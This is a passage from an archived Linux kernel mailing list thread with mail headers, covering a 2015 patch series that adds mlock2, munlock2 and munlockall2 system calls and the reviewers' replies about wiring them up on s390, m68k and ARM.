+cond_syscall(sys_munlockall2);
 cond_syscall(sys_mincore);
 cond_syscall(sys_madvise);
 cond_syscall(sys_mremap);
diff --git a/mm/mlock.c b/mm/mlock.c
index 8e52c23..d6e61d6 100644
--- a/mm/mlock.c
+++ b/mm/mlock.c
@@ -648,6 +648,14 @@ SYSCALL_DEFINE2(mlock, unsigned long, start, size_t, len)
 	return do_mlock(start, len, VM_LOCKED);
 }
 
+SYSCALL_DEFINE3(mlock2, unsigned long, start, size_t, len, int, flags)
+{
+	if (!flags || flags & ~MLOCK_LOCKED)
+		return -EINVAL;
+
+	return do_mlock(start, len, VM_LOCKED);
+}
+
 static int do_munlock(unsigned long start, size_t len, vm_flags_t flags)
 {
 	int ret;
@@ -667,6 +675,13 @@ SYSCALL_DEFINE2(munlock, unsigned long, start, size_t, len)
 	return do_munlock(start, len, VM_LOCKED);
 }
 
+SYSCALL_DEFINE3(munlock2, unsigned long, start, size_t, len, int, flags)
+{
+	if (!flags || flags & ~MLOCK_LOCKED)
+		return -EINVAL;
+	return do_munlock(start, len, VM_LOCKED);
+}
+
 static int do_mlockall(int flags)
 {
 	struct vm_area_struct * vma, * prev = NULL;
@@ -756,6 +771,19 @@ SYSCALL_DEFINE0(munlockall)
 	return ret;
 }
 
+SYSCALL_DEFINE1(munlockall2, int, flags)
+{
+	int ret = -EINVAL;
+
+	if (!flags || flags & ~(MCL_CURRENT | MCL_FUTURE))
+		return ret;
+
+	down_write(&current->mm->mmap_sem);
+	ret = do_munlockall(flags);
+	up_write(&current->mm->mmap_sem);
+	return ret;
+}
+
 /*
  * Objects with different lifetime than processes (SHM_LOCK and SHM_HUGETLB
  * shm segments) get accounted against the user_struct instead.
-- 
1.9.1

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:37:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Morton <akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>
Newsgroups: gmane.linux.kernel.api,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH V3 0/5] Allow user to request memory to be locked on
 page fault
Date: Tue, 7 Jul 2015 14:16:13 -0700
Lines: 30
Approved: news@gmane.org
Message-ID: <20150707141613.f945c98279dcb71c9743d5f2@linux-foundation.org>
References: <1436288623-13007-1-git-send-email-emunson@akamai.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1436303790 8110 80.91.229.3 (7 Jul 2015 21:16:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Jul 2015 21:16:30 +0000 (UTC)
Cc: Shuah Khan <shuahkh-JPH+aEBZ4P+UEJcrhfAQsw@public.gmane.org>,
	Michal Hocko <mhocko-AlSwsSmVLrQ@public.gmane.org>,
	Michael Kerrisk <mtk.manpages-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
	Vlastimil Babka <vbabka-AlSwsSmVLrQ@public.gmane.org>, linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org,
	sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	linux-mm-Bw31MaZKKs3YtjvyW6yDsg@public.gmane.org, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: Eric B Munson <emunson-JqFfY2XvxFXQT0dZR+AlfA@public.gmane.org>
Original-X-From: linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Tue Jul 07 23:16:23 2015
Return-path: <linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glka-linux-api-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1ZCaE1-0005x4-Io
	for glka-linux-api-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Tue, 07 Jul 2015 23:16:21 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S933008AbbGGVQU (ORCPT <rfc822;glka-linux-api@m.gmane.org>);
	Tue, 7 Jul 2015 17:16:20 -0400
Original-Received: from mail.linuxfoundation.org ([140.211.169.12]:58364 "EHLO
	mail.linuxfoundation.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757992AbbGGVQQ (ORCPT
	<rfc822;linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Tue, 7 Jul 2015 17:16:16 -0400
Original-Received: from akpm3.mtv.corp.google.com (unknown [216.239.45.65])
	by mail.linuxfoundation.org (Postfix) with ESMTPSA id 71157273;
	Tue,  7 Jul 2015 21:16:14 +0000 (UTC)
In-Reply-To: <1436288623-13007-1-git-send-email-emunson-JqFfY2XvxFXQT0dZR+AlfA@public.gmane.org>
X-Mailer: Sylpheed 3.4.1 (GTK+ 2.24.23; x86_64-pc-linux-gnu)
Original-Sender: linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-api.vger.kernel.org>
X-Mailing-List: linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.api:12592 gmane.linux.ports.alpha:3175 gmane.linux.kernel:1990919 gmane.linux.ports.mips.general:49255 gmane.linux.ports.parisc:25808 gmane.linux.ports.ppc64.devel:114897 gmane.linux.ports.sparc:21209 gmane.linux.kernel.mm:135242 gmane.linux.kernel.cross-arch:28232
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.api/12592>

On Tue,  7 Jul 2015 13:03:38 -0400 Eric B Munson <emunson-JqFfY2XvxFXQT0dZR+AlfA@public.gmane.org> wrote:

> mlock() allows a user to control page out of program memory, but this
> comes at the cost of faulting in the entire mapping when it is
> allocated.  For large mappings where the entire area is not necessary
> this is not ideal.  Instead of forcing all locked pages to be present
> when they are allocated, this set creates a middle ground.  Pages are
> marked to be placed on the unevictable LRU (locked) when they are first
> used, but they are not faulted in by the mlock call.
> 
> This series introduces a new mlock() system call that takes a flags
> argument along with the start address and size.  This flags argument
> gives the caller the ability to request memory be locked in the
> traditional way, or to be locked after the page is faulted in.  New
> calls are added for munlock() and munlockall() which give the called a
> way to specify which flags are supposed to be cleared.  A new MCL flag
> is added to mirror the lock on fault behavior from mlock() in
> mlockall().  Finally, a flag for mmap() is added that allows a user to
> specify that the covered are should not be paged out, but only after the
> memory has been used the first time.

Thanks for sticking with this.  Adding new syscalls is a bit of a
hassle but I do think we end up with a better interface - the existing
mlock/munlock/mlockall interfaces just aren't appropriate for these
things.

I don't know whether these syscalls should be documented via new
manpages, or if we should instead add them to the existing
mlock/munlock/mlockall manpages.  Michael, could you please advise?


From - Thu Nov 08 21:37:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Heiko Carstens <heiko.carstens@de.ibm.com>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.api,gmane.linux.kernel.cross-arch,gmane.linux.kernel.mm
Subject: Re: [PATCH V3 2/5] mm: mlock: Add new mlock, munlock, and munlockall
 system calls
Date: Wed, 8 Jul 2015 08:46:07 +0200
Lines: 37
Approved: news@gmane.org
Message-ID: <20150708064607.GB7079@osiris>
References: <1436288623-13007-1-git-send-email-emunson@akamai.com>
 <1436288623-13007-3-git-send-email-emunson@akamai.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1436337991 16634 80.91.229.3 (8 Jul 2015 06:46:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 8 Jul 2015 06:46:31 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Michal Hocko <mhocko@suse.cz>,
	Vlastimil Babka <vbabka@suse.cz>, linux-alpha@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
	adi-buildroot-devel@lists.sourceforge.net,
	linux-cris-kernel@axis.com, linux-ia64@vger.kernel.org,
	linux-m68k@lists.linux-m68k.org, linux-mips@linux-mips.org,
	linux-am33-list@redhat.com, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org, linux-api@vger.kernel.org,
	linux-arch@vger.kernel.org, linux-mm@kvack.org
To: Eric B Munson <emunson@akamai.com>
Original-X-From: linux-m68k-owner@vger.kernel.org Wed Jul 08 08:46:16 2015
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1ZCj7X-0002u7-B0
	for glpm-linux-m68k@plane.gmane.org; Wed, 08 Jul 2015 08:46:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752705AbbGHGqN (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Wed, 8 Jul 2015 02:46:13 -0400
Original-Received: from e06smtp15.uk.ibm.com ([195.75.94.111]:59664 "EHLO
	e06smtp15.uk.ibm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754125AbbGHGqN (ORCPT
	<rfc822;linux-m68k@lists.linux-m68k.org>);
	Wed, 8 Jul 2015 02:46:13 -0400
Original-Received: from /spool/local
	by e06smtp15.uk.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
	for <linux-m68k@lists.linux-m68k.org> from <heiko.carstens@de.ibm.com>;
	Wed, 8 Jul 2015 07:46:11 +0100
Original-Received: from d06dlp01.portsmouth.uk.ibm.com (9.149.20.13)
	by e06smtp15.uk.ibm.com (192.168.101.145) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
	Wed, 8 Jul 2015 07:46:09 +0100
X-Helo: d06dlp01.portsmouth.uk.ibm.com
X-MailFrom: heiko.carstens@de.ibm.com
X-RcptTo: linux-m68k@lists.linux-m68k.org
Original-Received: from b06cxnps4076.portsmouth.uk.ibm.com (d06relay13.portsmouth.uk.ibm.com [9.149.109.198])
	by d06dlp01.portsmouth.uk.ibm.com (Postfix) with ESMTP id 285F417D8056
	for <linux-m68k@lists.linux-m68k.org>; Wed,  8 Jul 2015 07:47:25 +0100 (BST)
Original-Received: from d06av01.portsmouth.uk.ibm.com (d06av01.portsmouth.uk.ibm.com [9.149.37.212])
	by b06cxnps4076.portsmouth.uk.ibm.com (8.14.9/8.14.9/NCO v10.0) with ESMTP id t686k8JE37421078
	for <linux-m68k@lists.linux-m68k.org>; Wed, 8 Jul 2015 06:46:09 GMT
Original-Received: from d06av01.portsmouth.uk.ibm.com (localhost [127.0.0.1])
	by d06av01.portsmouth.uk.ibm.com (8.14.4/8.14.4/NCO v10.0 AVout) with ESMTP id t686k7N5011517
	for <linux-m68k@lists.linux-m68k.org>; Wed, 8 Jul 2015 00:46:08 -0600
Original-Received: from localhost (dyn-9-152-212-54.boeblingen.de.ibm.com [9.152.212.54])
	by d06av01.portsmouth.uk.ibm.com (8.14.4/8.14.4/NCO v10.0 AVin) with ESMTP id t686k7Et011514;
	Wed, 8 Jul 2015 00:46:07 -0600
Content-Disposition: inline
In-Reply-To: <1436288623-13007-3-git-send-email-emunson@akamai.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-TM-AS-MML: disable
X-Content-Scanned: Fidelis XPS MAILER
x-cbid: 15070806-0021-0000-0000-00000487081B
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:7273 gmane.linux.ports.alpha:3176 gmane.linux.kernel:1991110 gmane.linux.ports.arm.kernel:424569 gmane.linux.ports.ia64:25568 gmane.linux.ports.mips.general:49258 gmane.linux.ports.parisc:25809 gmane.linux.ports.ppc64.devel:114926 gmane.linux.ports.sh.devel:47063 gmane.linux.ports.sparc:21210 gmane.linux.kernel.api:12599 gmane.linux.kernel.cross-arch:28240 gmane.linux.kernel.mm:135257
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/7273>

On Tue, Jul 07, 2015 at 01:03:40PM -0400, Eric B Munson wrote:
> With the refactored mlock code, introduce new system calls for mlock,
> munlock, and munlockall.  The new calls will allow the user to specify
> what lock states are being added or cleared.  mlock2 and munlock2 are
> trivial at the moment, but a follow on patch will add a new mlock state
> making them useful.
> 
> munlock2 addresses a limitation of the current implementation.  If a
> user calls mlockall(MCL_CURRENT | MCL_FUTURE) and then later decides
> that MCL_FUTURE should be removed, they would have to call munlockall()
> followed by mlockall(MCL_CURRENT) which could potentially be very
> expensive.  The new munlockall2 system call allows a user to simply
> clear the MCL_FUTURE flag.
> 
> Signed-off-by: Eric B Munson <emunson@akamai.com>

...

> diff --git a/arch/s390/kernel/syscalls.S b/arch/s390/kernel/syscalls.S
> index 1acad02..f6d81d6 100644
> --- a/arch/s390/kernel/syscalls.S
> +++ b/arch/s390/kernel/syscalls.S
> @@ -363,3 +363,6 @@ SYSCALL(sys_bpf,compat_sys_bpf)
>  SYSCALL(sys_s390_pci_mmio_write,compat_sys_s390_pci_mmio_write)
>  SYSCALL(sys_s390_pci_mmio_read,compat_sys_s390_pci_mmio_read)
>  SYSCALL(sys_execveat,compat_sys_execveat)
> +SYSCALL(sys_mlock2,compat_sys_mlock2)			/* 355 */
> +SYSCALL(sys_munlock2,compat_sys_munlock2)
> +SYSCALL(sys_munlockall2,compat_sys_munlockall2)

FWIW, you would also need to add matching lines to the two files

arch/s390/include/uapi/asm/unistd.h
arch/s390/kernel/compat_wrapper.c

so that the system call would be wired up on s390.


From - Thu Nov 08 21:37:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.api,gmane.linux.kernel.cross-arch,gmane.linux.kernel.mm
Subject: Re: [PATCH V3 2/5] mm: mlock: Add new mlock, munlock, and munlockall
 system calls
Date: Wed, 8 Jul 2015 09:02:25 +0200
Lines: 44
Approved: news@gmane.org
Message-ID: <CAMuHMdUS72nYDo=chtcZMv-ZNVU0RhxvVLvMYvSFLtRk_wXrgw@mail.gmail.com>
References: <1436288623-13007-1-git-send-email-emunson@akamai.com>
	<1436288623-13007-3-git-send-email-emunson@akamai.com>
	<20150708064607.GB7079@osiris>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1436338954 30402 80.91.229.3 (8 Jul 2015 07:02:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 8 Jul 2015 07:02:34 +0000 (UTC)
Cc: Eric B Munson <emunson@akamai.com>,
	Andrew Morton <akpm@linux-foundation.org>,
	Michal Hocko <mhocko@suse.cz>,
	Vlastimil Babka <vbabka@suse.cz>,
	alpha <linux-alpha@vger.kernel.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	"linux-arm-kernel@lists.infradead.org" 
	<linux-arm-kernel@lists.infradead.org>,
	"adi-buildroot-devel@lists.sourceforge.net" 
	<adi-buildroot-devel@lists.sourceforge.net>,
	Cris <linux-cris-kernel@axis.com>,
	"linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
	linux-m68k <linux-m68k@lists.linux-m68k.org>,
	Linux MIPS Mailing List <linux-mips@linux-mips.org>,
	"moderated list:PANASONIC MN10300..." <linux-am33-list@redhat.com>,
	Parisc List <linux-parisc@vger.kernel.org>,
	"linuxppc-dev@lists.ozlabs.org" <linuxppc-dev@lists.ozlabs.org>,
	linux-s390 <linux-s390@vger.kernel.org>,
	Linux-sh list <linux-sh@vger.kernel.org>,
	sparclinux
To: Heiko Carstens <heiko.carstens@de.ibm.com>
Original-X-From: linux-ia64-owner@vger.kernel.org Wed Jul 08 09:02:31 2015
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1ZCjNG-0003qg-Om
	for glpi-linux-ia64-2@plane.gmane.org; Wed, 08 Jul 2015 09:02:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757900AbbGHHC2 (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
	Wed, 8 Jul 2015 03:02:28 -0400
Original-Received: from mail-oi0-f43.google.com ([209.85.218.43]:33628 "EHLO
	mail-oi0-f43.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754091AbbGHHC0 (ORCPT
	<rfc822;linux-ia64@vger.kernel.org>); Wed, 8 Jul 2015 03:02:26 -0400
Original-Received: by oiyy130 with SMTP id y130so159243366oiy.0;
        Wed, 08 Jul 2015 00:02:25 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc:content-type;
        bh=zCpnqflIuc1gRBaiES/4lSn/nj6HgKH90eL+VveLNkk=;
        b=otCIjhksZ6WWmGlOS3UnhgArZFJdzjr0jXcVs+tfi7LbNEePIdN4IaOqcNTmPJ2RA7
         f735buX7Exe46g6mmSlYEJRBnIs1Kx2UrNXNf0AnF+fAs5t7ZnYVgLjS/mBXv3WH6ev8
         DjXM2wJoBwLaR5qLvRspOahf2yK0k7Fm5R8ag2Jn9wf8sWR0uiJvxWcMSCVbzK2CJxTy
         ON9K8sN8KrS/LtwKgwLJmT7R4jtTcJTL7GYzwG6LI4iUXjhndm/B+UHeQqhPZOqNQKBf
         VGkccrzZLgozfH3Hr+ExKe0i6RsideVgK0nouIXOHNSqTYM5iCIpVF5mw7bTdenzGKZ+
         /rWg==
X-Received: by 10.202.72.4 with SMTP id v4mr1215386oia.82.1436338945859; Wed,
 08 Jul 2015 00:02:25 -0700 (PDT)
Original-Received: by 10.60.168.5 with HTTP; Wed, 8 Jul 2015 00:02:25 -0700 (PDT)
In-Reply-To: <20150708064607.GB7079@osiris>
X-Google-Sender-Auth: vgROwd9gi1WQOCVKMrjq0QyXu08
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:25569 gmane.linux.ports.alpha:3177 gmane.linux.kernel:1991114 gmane.linux.ports.arm.kernel:424571 gmane.linux.ports.mips.general:49259 gmane.linux.ports.parisc:25810 gmane.linux.ports.ppc64.devel:114928 gmane.linux.ports.sh.devel:47065 gmane.linux.ports.sparc:21211 gmane.linux.kernel.api:12600 gmane.linux.kernel.cross-arch:28241 gmane.linux.kernel.mm:135258
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/25569>

On Wed, Jul 8, 2015 at 8:46 AM, Heiko Carstens
<heiko.carstens@de.ibm.com> wrote:
>> diff --git a/arch/s390/kernel/syscalls.S b/arch/s390/kernel/syscalls.S
>> index 1acad02..f6d81d6 100644
>> --- a/arch/s390/kernel/syscalls.S
>> +++ b/arch/s390/kernel/syscalls.S
>> @@ -363,3 +363,6 @@ SYSCALL(sys_bpf,compat_sys_bpf)
>>  SYSCALL(sys_s390_pci_mmio_write,compat_sys_s390_pci_mmio_write)
>>  SYSCALL(sys_s390_pci_mmio_read,compat_sys_s390_pci_mmio_read)
>>  SYSCALL(sys_execveat,compat_sys_execveat)
>> +SYSCALL(sys_mlock2,compat_sys_mlock2)                        /* 355 */
>> +SYSCALL(sys_munlock2,compat_sys_munlock2)
>> +SYSCALL(sys_munlockall2,compat_sys_munlockall2)
>
> FWIW, you would also need to add matching lines to the two files
>
> arch/s390/include/uapi/asm/unistd.h
> arch/s390/kernel/compat_wrapper.c
>
> so that the system call would be wired up on s390.

Similar comment for m68k:

arch/m68k/include/asm/unistd.h
arch/m68k/include/uapi/asm/unistd.h

I think you best look at the last commits that added system calls, for all
architectures, to make sure you don't do partial updates.

Gr{oetje,eeting}s,

                        Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
                                -- Linus Torvalds
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Catalin Marinas <catalin.marinas-5wv7dgnIgG8@public.gmane.org>
Newsgroups: gmane.linux.kernel.api,gmane.linux.kernel.cross-arch,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.arm.kernel
Subject: Re: [PATCH V3 2/5] mm: mlock: Add new mlock, munlock, and munlockall
 system calls
Date: Wed, 8 Jul 2015 12:06:51 +0100
Lines: 33
Approved: news@gmane.org
Message-ID: <20150708110651.GC6944@e104818-lin.cambridge.arm.com>
References: <1436288623-13007-1-git-send-email-emunson@akamai.com>
 <1436288623-13007-3-git-send-email-emunson@akamai.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1436353624 4135 80.91.229.3 (8 Jul 2015 11:07:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 8 Jul 2015 11:07:04 +0000 (UTC)
Cc: Andrew Morton <akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>,
	linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, Michal Hocko <mhocko-AlSwsSmVLrQ@public.gmane.org>,
	linux-am33-list-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-cris-kernel-VrBV9hrLPhE@public.gmane.org,
	linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org, linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	adi-buildroot-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org, linux-mm-Bw31MaZKKs3YtjvyW6yDsg@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, Vlastimil Babka <vbabka-AlSwsSmVLrQ@public.gmane.org>,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org,
	linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
To: Eric B Munson <emunson-JqFfY2XvxFXQT0dZR+AlfA@public.gmane.org>
Original-X-From: linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Wed Jul 08 13:07:01 2015
Return-path: <linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glka-linux-api-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1ZCnBs-0007Ht-UF
	for glka-linux-api-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Wed, 08 Jul 2015 13:07:01 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S933656AbbGHLG7 (ORCPT <rfc822;glka-linux-api@m.gmane.org>);
	Wed, 8 Jul 2015 07:06:59 -0400
Original-Received: from foss.arm.com ([217.140.101.70]:40234 "EHLO foss.arm.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S933653AbbGHLG6 (ORCPT <rfc822;linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>);
	Wed, 8 Jul 2015 07:06:58 -0400
Original-Received: from usa-sjc-imap-foss1.foss.arm.com (unknown [10.72.51.249])
	by usa-sjc-mx-foss1.foss.arm.com (Postfix) with ESMTP id 0E349317;
	Wed,  8 Jul 2015 04:07:24 -0700 (PDT)
Original-Received: from e104818-lin.cambridge.arm.com (usa-sjc-imap-foss1.foss.arm.com [10.72.51.249])
	by usa-sjc-imap-foss1.foss.arm.com (Postfix) with ESMTPSA id 25CBD3F23A;
	Wed,  8 Jul 2015 04:06:54 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <1436288623-13007-3-git-send-email-emunson-JqFfY2XvxFXQT0dZR+AlfA@public.gmane.org>
User-Agent: Mutt/1.5.23 (2014-03-12)
Original-Sender: linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-api.vger.kernel.org>
X-Mailing-List: linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.api:12614 gmane.linux.kernel.cross-arch:28247 gmane.linux.ports.ia64:25570 gmane.linux.ports.parisc:25811 gmane.linux.ports.mips.general:49266 gmane.linux.ports.sh.devel:47072 gmane.linux.kernel:1991493 gmane.linux.kernel.mm:135272 gmane.linux.ports.alpha:3178 gmane.linux.ports.sparc:21212 gmane.linux.ports.ppc64.devel:114938 gmane.linux.ports.arm.kernel:424646
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.api/12614>

On Tue, Jul 07, 2015 at 01:03:40PM -0400, Eric B Munson wrote:
> diff --git a/arch/arm/kernel/calls.S b/arch/arm/kernel/calls.S
> index 05745eb..514e77b 100644
> --- a/arch/arm/kernel/calls.S
> +++ b/arch/arm/kernel/calls.S
> @@ -397,6 +397,9 @@
>  /* 385 */	CALL(sys_memfd_create)
>  		CALL(sys_bpf)
>  		CALL(sys_execveat)
> +		CALL(sys_mlock2)
> +		CALL(sys_munlock2)
> +/* 400 */	CALL(sys_munlockall2)

s/400/390/

> diff --git a/arch/arm64/include/asm/unistd32.h b/arch/arm64/include/asm/unistd32.h
> index cef934a..318072aa 100644
> --- a/arch/arm64/include/asm/unistd32.h
> +++ b/arch/arm64/include/asm/unistd32.h
> @@ -797,3 +797,9 @@ __SYSCALL(__NR_memfd_create, sys_memfd_create)
>  __SYSCALL(__NR_bpf, sys_bpf)
>  #define __NR_execveat 387
>  __SYSCALL(__NR_execveat, compat_sys_execveat)
> +#define __NR_mlock2 388
> +__SYSCALL(__NR_mlock2, sys_mlock2)
> +#define __NR_munlock2 389
> +__SYSCALL(__NR_munlock2, sys_munlock2)
> +#define __NR_munlockall2 390
> +__SYSCALL(__NR_munlockall2, sys_munlockall2)

These look fine.

Catalin

From - Thu Nov 08 21:37:36 2018
X-Mozilla-Status: 0011
